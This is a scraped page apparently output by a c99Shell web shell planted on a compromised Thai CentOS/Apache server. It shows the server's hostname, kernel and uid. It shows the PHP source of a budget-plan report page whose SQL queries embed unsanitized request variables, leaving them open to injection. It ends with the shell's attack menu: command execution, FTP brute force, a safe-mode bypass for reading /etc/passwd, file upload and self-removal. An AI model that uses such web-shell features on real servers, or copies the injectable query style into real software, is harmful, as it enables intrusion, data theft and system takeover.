!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelProjectDetailMission.php (22.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');
  
  
/**  ส่งออก  word  */
    
header('Content-type: application/ms-doc');
    
header('Content-Disposition: attachment; filename="testing.doc"');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );            
        require_once( 
"../includes/FunctionDB.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
$Username $valid_user;
      
        
        
/**  Config Table for This Page  */
        
$myTable "project_plan";
        
$myTable2 "faculty_tb";
        
$myTable1 "project_type_tb";
        
$myTable2FK "ProjectId";
    
    
//=== 
        
$query " SELECT *  FROM $myTable  WHERE proId='$proId'   and  Budget_Year='$Budget_Year'  ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<script language="javascript" src="../js/utilities.js"></script>

<title>ข้อมูลแผนดำเนินงานและรายงาน </title>
</head>
<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">

<table width="791" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="791" align="center" valign="top" style="padding:10px 0px 5px 10px"><table width="780" border="0" cellspacing="0" cellpadding="0">
     
        <tr>
          <td height="5"></td>
        </tr>
        <tr>
          <td height="350" align="center" valign="top"><table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F8F8F8" style="border:1px solid #F0F0F0">
            <tr>
              <td colspan="3" align="right" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">&nbsp;</td>
            </tr>
            <tr>
              <td colspan="3" align="center" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">แผนปฏิบัติงานประจำปีงบประมาณ&nbsp; <?php echo $rs['Budget_Year']; ?> ปีการศึกษา <?php echo $rs['AcademicYear']; ?> หน่วยงานย่อย 
                <?php
                    $strSQL4 
" SELECT * FROM   facultycon_tb  Where   Faculty_code='$rs[Faculty_code]'    ";
                    
$result4 mysql_query($strSQL4);
                    
$rs4 mysql_fetch_array($result4) ;
                    echo 
$rs4['Group_name'] ; 
                    
?> หน่วยงาน 
                <?php
                  $sql1 
" SELECT *  FROM faculty_tb  WHERE  Faculty_code='$rs[Faculty_code]'  ";
                  
$result1 $dbObj->execQuery($sql1);
                  
$rs1 $dbObj->fetchArray($result1);
                      echo 
$rs1['Faculty_name'];
                 
?></td>  
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">&nbsp;</td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 "><table width="98%" border="0" align="left" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                <?php
              $query 
" SELECT *  FROM projectstra_type_tb pjt, projstrategy_tb pj ,proplanstrateg_tb ppt    WHERE   pjt.proId='$proId'  and  pj.StrateId =ppt.StrateId   and ppt.StratempId=pjt.StratempId ";
               
$result2 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;
                  
?>
                <?php
            $no 
1+($display-1)*$limit;
                while( 
$rs2 $dbObj->fetchArray($result2) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                <tr bgcolor="<?=$bgColor;?>">
                  <td height="20" align="left" class="PADDING-RIGHT-5 BORDER">ประเด็นยุทธศาสตร์ที่
                      <?=$rs2['Nocode'];?>
                      <?=htmlspecialchars_decodenl2br$rs2['Strategyname'] ) );?>
                  </td>
                </tr>
                <tr bgcolor="<?=$bgColor;?>">
                  <td height="20" align="left">กลยุทธ์ที่</a>
                    <?php                 
                 $sql 
" SELECT *  FROM   prostrategymap_tb  WHERE  StratempId = '$rs2[StratempId]'    ";
                  
$result4 $dbObj->execQuery($sql);
                 
$rs4 $dbObj->fetchArray($result4);
                echo 
$rs4['Nostrate'] ;
                echo 
".&nbsp;".htmlspecialchars_decodenl2br$rs4['StrateName'] ) );
                 
?></td>
                  </tr>
                <?php 
               
                     $query3 
" SELECT *  FROM  proplanstrateg_tb    WHERE  StaplanId='$rs2[StaplanId]'        ";
                    
$result3 mysql_query($query3);
                    
$rs3 mysql_fetch_array($result3);
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";                        
                      
?>
                <tr bgcolor="<?=$bgColor;?>">
                  <td width="93%" height="20" align="left" class="PADDING-LEFT-10">กลวิธีที่ <? echo "$rs3[Noplan]"?>
                    <?=htmlspecialchars_decodenl2br$rs3['PlanStaName'] ) );?>
                    </a><a href="planMission.php?Budget_Year=<?=$rs['Budget_Year'];?>&amp;subId=<?=$rss['subId'];?>" title=" Click to more detail "></a></span></td>
                  </tr>
                           <?php
                    $no
++;
                } 
# while
              
?>
                </table></td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">พันธกิจข้อ 
                <?php
                
                   $sql4
" SELECT *  FROM  project_submission ps, project_mission pm  Where   pm.Budget_Year='$rs[Budget_Year]'  and  pm.missId=ps.missId  ";
                  
$result4 mysql_query($sql4);
                
$rs4 mysql_fetch_array($result4) ;
                 echo 
$rs4['sub_Orderlist'] ; 
                 echo 
$rs4['submission_plan'] ;
                
                 
?></td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">ลักษณะของแผน
                <input name="codeId" type="radio" <?php if ( !strcmp("$rs[codeId]","1") ) { echo "checked"; } ?>  value="1"   />
                แผนยุทธ์ศาสตร์
  <input name="codeId" type="radio" <?php if ( !strcmp("$rs[codeId]","2") ) { echo "checked"; } ?> value="2"   />
                แผนงานประจำ</td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">รายละเอียดแผนงาน 
                <input name="plId" type="radio"<?php if ( !strcmp("$rs[plId]","1") ) { echo "checked"; } ?> value="1" />
                โครงการ /
                <input name="plId" type="radio" <?php if ( !strcmp("$rs[plId]","2") ) { echo "checked"; } ?>value="2"   />
                กิจกรรม</span></td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 " >รหัสโครงการ <?=$rs['Orderlist'];?>
              </td>
              </tr>
            <tr>
              <td width="9%" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
              <td width="90%" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['Project_plan'] ) ); ?></td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF" class="PADDING-LEFT-5 ">หลักสูตร                
                <?php
                $dbObj
->REGDBConn();
             
$strSQL2 " SELECT *  FROM   Program   Where programId='$rs[programId]'   ";
             
$result2 $dbObj->execQuery($strSQL2);
             
$rs2 $dbObj->fetchArray($result2) ;
             echo 
$rs2['programName'] ;
             
$dbObj->DBConn();
            
?></td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
            </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 "> หลักการและเหตุผล</td>
              </tr>
            <tr>
              <td align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['Indsuccess'] ) ); ?></td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF" class="PADDING-LEFT-5 "> วัตถุประสงค์</td>
              </tr>
            <tr>
              <td align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['Objective'] ) ); ?></td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF" class="PADDING-LEFT-5 "> เป้าหมาย</td>
              </tr>
            <tr>
              <td align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['TargetGroup'] ) ); ?></td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr>
              <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">  วิธีการดำเนินงานหรือ
                ขั้นตอนการดำเนินการ</td>
              </tr>
            <tr>
              <td align="right" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['Operation'] ) ); ?></td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5 "> ระยะเวลาดำเนินการ : วันที่เริ่มต้น
                <?php 
                $sday 
$rs['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>   
                วันที่สิ้นสุด
  <?php 
                $sday 
$rs['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?></td>
            </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td height="16" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"></td>
            </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td height="18" colspan="3" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5 "> แผนดำเนินการแผนการและกิจกรรมดำเนินการ </td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td height="16" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><table width="752" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#EEEEEE; border:0px solid gray" size="12">
                <?php 
                     $query 
" SELECT *  FROM   project_type_tb    WHERE   proId  = '$rs[proId]'  Order  By  Orderlist   ASC  ";
                    
$result2 mysql_query($query);
              while(
$rss mysql_fetch_array($result2)){ ;
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";                        
                      
?>
                <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#FFFFE0'" onmouseout="this.style.backgroundColor=''">
                  <td width="484" height="21" align="left" valign="top" class="PADDING-LEFT-3"><?=$rss['Orderlist'];?>
                    &raquo;
                    <?=htmlspecialchars_decodenl2br$rss['Project_plan'] ) );?>
                    </a></td>
                  <td width="170" height="21" align="left" class="PADDING-LEFT-3"><?php
                $MoneyS_C 
$rss['MoneyS_C'];
                
$sql3 " Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C' ";
                
$result3 $dbObj->execQuery($sql3);
                
$rs3 $dbObj->fetchArray($result3);
                    echo 
$rs3['MoneyS_M'];
             
?>
                    </a></td>
                  <td width="94" align="right" class="PADDING-RIGHT-5"><?php echo number_format($rss['Budget_total'],2,'.',',');
           
?></td>
                  </tr>
                 <?php
                
# while
              
?>
                </table></td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td height="16" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">  รายละเอียดงบประมาณของโครงการ <strong>
                <?php         
                    $sql3 
" SELECT SUM(Budget_total) AS Sum FROM  project_type_tb  WHERE  Budget_Year='$Budget_Year'  and  Faculty_code='$Faculty_code'  and  proId='$rs[proId]'  ";
                    
$result3 $dbObj->execQuery($sql3);
                    
$rs3 $dbObj->fetchArray($result3);
                        echo 
number_format($rs3['Sum'],2,'.',',');
               
?>
                </strong></td>
            </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
            </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF"> วิธีการประเมินโครงการ</span></td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['evaluate'] ) ); ?></td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF" >ตัวชี้วัดความสำเร็จ </td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><label>
                <input type="checkbox" name="checkbox" id="checkbox" />
                ตัวชี้วัดเชิงปริมาณ </label></td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><input type="checkbox" name="checkbox2" id="checkbox2" />
                ตัวชี้วัดเชิงคุณภาพ </td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><input type="checkbox" name="checkbox3" id="checkbox3" />
                ตัวชี้วัดเชิงเวลา</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><input type="checkbox" name="checkbox4" id="checkbox4" />
                ตัวชี้วัดเชิงค่าใช้จ่าย </td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5 ">ผลที่คาดว่าจะได้รับ</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF"><?php echo htmlspecialchars_decodenl2br$rs['resuExpected'] ) ); ?>
                </td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
              <td bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
              <td colspan="3" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5 ">ดัชนีชี้วัดผลงานหลักตาม KPI</td>
              </tr>
            <tr>
              <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td height="29" align="left" bgcolor="#FFFFFF"><table width="89%" border="0" align="left" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                <?php
              $query 
" SELECT *  FROM   projectqa_type_tb pt , qa_indicator qi     WHERE   pt.ProjectId='$ProjectId'  and  qi.indId=pt.indId   Group  By   pt.indId ";
             
$result5$dbObj->execQuery($query);
             
$numrows $dbObj->_numrows;  
                  
?>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs5 $dbObj->fetchArray($result5) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                <tr bgcolor="<?=$bgColor;?>">
                  <td height="20" align="left" class="PADDING-LEFT-5">ตัวบ่งชี้ที่ <?php  echo $rs5['indicaNo'] ." " .$rs5['Indicator']; ?></a></td>
                  </tr>
                <?php
              $query 
" SELECT *  FROM   qa_indicator_tb qt ,projectqa_type_tb pt ,qa_indicator qi   WHERE  qi.indId = '$rs5[indId]' and pt.indica_code = qt.indica_code   and  pt.ProjectId ='$ProjectId' and  qi.indId=pt.indId   Group  By   pt.indica_code   Order By  qt.CriteriaNo  ASC  "
               
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;   
                  
?>
                <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs7 $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                <?php
                
# while
              
?>
                <?php 
               $no
++;
         } 
# while 
            
          
?>
                </table></td>
            </tr>
            <tr>
              <td height="16" colspan="3" align="left" bgcolor="#FFFFFF"class="PADDING-LEFT-5 ">ผู้รับผิดชอบโครงการ/คณะผู้ดำเนินการ</td>
              </tr>
            <tr>
              <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td height="29" align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td height="29" align="left" bgcolor="#FFFFFF"><table width="698" border="0" align="left" cellpadding="0" cellspacing="0" class="BORDER-GREY">
                <?php 
                     $query4 
" SELECT *  FROM   project_teacher    WHERE     proId= '$rs[proId]'      ";
                    
$result4 mysql_query($query4);
               while(
$rs4 mysql_fetch_array($result4)){ ;
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF" ;                        
                      
?>
                <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                  <td width="429" height="23" align="left" class="PADDING-LEFT-15 BORDER-">&nbsp;
                    <?php
            $sql 
"Select * From  personal_tb pt, project_teacher pc    Where  pc.Teacher_code ='$rs4[Teacher_code]'  and  pc.Teacher_code=pt.Teacher_code  ";
            
$result6 mysql_query($sql) or die("Error".mysql_error());
            
$rss4 mysql_fetch_array($result6);
                    echo 
$rss4['Teacher_name'] ." &nbsp;"$rss4['Teacher_lastname']  ;
         
?>
                    </a> &nbsp;</td>
                  <td width="237" align="left" class="PADDING-LEFT-5  BORDER">(
                    <?=$rs4['ProjectTeach'];?>
                    )</td>
                </tr>
                <?php 
               $no
++;
            } 
# while 
            
$dbObj->freeresult($result1);
          
?>
              </table></td>
              </tr>
            <tr>
              <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td align="center" bgcolor="#FFFFFF">&nbsp;</td>
              <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            </table></td>
        </tr>
        </form>
      </table>
   </td>
  </tr>
</table>

</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0113 ]--